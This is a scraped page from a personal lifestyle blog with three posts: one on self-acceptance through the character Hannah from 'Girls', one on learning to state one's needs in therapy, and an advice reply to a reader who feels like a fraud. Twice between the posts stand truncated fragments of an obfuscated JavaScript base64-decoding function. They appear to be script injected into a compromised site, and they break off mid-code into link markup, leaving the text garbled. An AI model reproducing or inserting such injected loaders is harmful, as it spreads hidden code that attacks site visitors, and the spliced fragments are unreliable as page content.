…lessons from an anti-hero

untitled-article-1414531593

You guys, sometimes I am so sucked in by beautiful people doing beautiful things wearing beautiful clothes and smiling beautiful smiles. I see them in magazines, on Facebook, Access Hollywood, the news and every where we turn. I can’t seem to get away from beautiful, successful people and frankly, I don’t want to see it all the time because I then start using them as a measuring stick to where and what I am supposed to be and it sucks up so much air in my space that I can’t just like what I want to like and smile the way I already do smile. It all makes me feel like I am supposed to fix something broken about me – like I better buy more and do more and say more because what I am right here in this moment is clearly not enough because it does not look the same as what they are doing over there.

Please tell me you feel me. How could you not?

I don’t blame us because we are saturated with all these messages telling us that we are not fine just as we are. Before I start sounding too cliche, let me introduce to you my hero if you have not met. My anti hero. Lena Dunham. Let me caveat this by saying that her show Girls is not for everyone. Its raw and raunchy at times and can even be too much for me, but I’m not talking about the show as much as I’m talking about Hannah, the protagonist.

Girls-Only-Child-Portable

When I say I’m taking lessons from her, I’m totally serious. She is unapologetic for who she is. She is often misguided, totally irreverent, quasi childish and often inappropriate. But, she is also beautifully sensitive and in tune to what works for her despite the pressures around her. She does not even seem to let these influences affect her unless it comes in the form of her relationships, which she is often entangled emotionally. She cares deeply, talks bravely and moves through the world at her own speed, albeit often at a zig zag.

I find myself thinking about Hannah in the moments that I question myself or find myself trying too hard or shaming myself for not being something that looks more pleasing than what I present to the world. At the end of the day, no one is really is paying that much attention, are they? At the end of the day, it’s truly how I feel and what I take away from the experience. I think if we let others see our disheveled, human side more often I think we could make deeper, more meaningful connections, but also rid ourselves of the constant shame that we are the way we are. What if the way we are in all of our imperfectness is what will really set us apart from all that is perfectly beautiful and therefore lead us to live a more authentic life? Maybe the tide would turn? Or maybe it wouldn’t. But, maybe we could at least feel a bit more comfortable in our less than perfect skin and hair and enjoy the feeling of wearing something that we like vs. what someone else may think is beautiful.

I get it, Hannah. I get the too short shirts, the wide jeans, the cutout red swimwear, the exasperation, the analyzing, the parents, the tattoos and the cake. I want that cake and I will eat it all too.

hannah-2

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.inde/" rel="bookmark">…therapy and nail polish

IMG_9676

This week I worked on stating my needs in therapy. In all honesty, I do not know how to do this. I am so overly concerned with how a statement like this would come out of my mouth. Would I sound mean? Entitled? Rude? Assuming? Obnoxious?

Yes to all of the above.

I would sound like all of these to myself. But why? I have met many a’ people who have no issue with asking for what they want and to be honest, I’m always a bit perplexed when I see it happening. It is so foreign to me, but it works for them…and they get their needs me too! How about that?!

How about you?

What would it look like if you took a day to just state what you wanted; what you liked without worry that someone around you was going to judge or shame you or worse – try to get you to like what they like! What if you were able to be so confident in yourself, your style and your taste that you could throw back your shoulders just a bit and say, “Yes, I want the lavender-colored nail polish.” I think that it would be a signal to your brain that are worthy and important enough not to ask for permission to get what you wanted and maybe, just maybe you would do it again and again until you got really good and were able to speak your mind and your own thoughts all the time. The world would get to know you and although not everyone would appreciate you, at least YOU would know that today you were wholly yourself.

…and your nails would always look damn good.

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=/" rel="bookmark">…reader comment and fraud

“I’ve only been painting furniture for about a year (you’re my main inspiration) however I often feel like a bit of a fraud.” – Melissa

Dear Melissa,

Thank you so much for your vulnerability. I think we all feel like frauds at least a few times every single day. I know that when I lay down my yoga mat and pretend like I am trying to get into Crow pose, I’m really just trying not to fall on my face. Quite literally.

vinyayaYoga

I think there is something to the phrase ” Fake it ‘Til you make it.” It sounds trite, but I do think it’s a way to trick our brains into believing that we go this. When we don’t feel confident many times it is based on how we think others will perceive us. We are worried that they will find fault, be disappointed or even turn and run from us. We are scared of the rejection that we could potentially see in someone’s face and we don’t want to feel that pain. I know I don’t.

My advice to you, Melissa, is to practice, practice, practice at what you are trying to become good at. Then when you are ready to show the world what you have been working on, act like you’ve been doing it your whole life. If you fumble and can’t answer a question, it doesn’t mean that you are a phoney, it just gives you an opportunity to say “Hmm, I really don’t know.” And there are many smart, successful people that really don’t know everything either.

The good news for you is that art is open to interpretation. When I started out I used lots of dark wax. The past 2 years I have not used dark wax once. But, I look back on those images of those pieces and I love them still. It worked and they carried their own look.

When you are ready to sell I want you to stand confidently next to your work. Make sure the craftsmanship is always the best it can be (this is one place not to leave to chance) and then tie a price tag on it and know that it is worth someone else’s money and space.

Namaste.

IMG_2985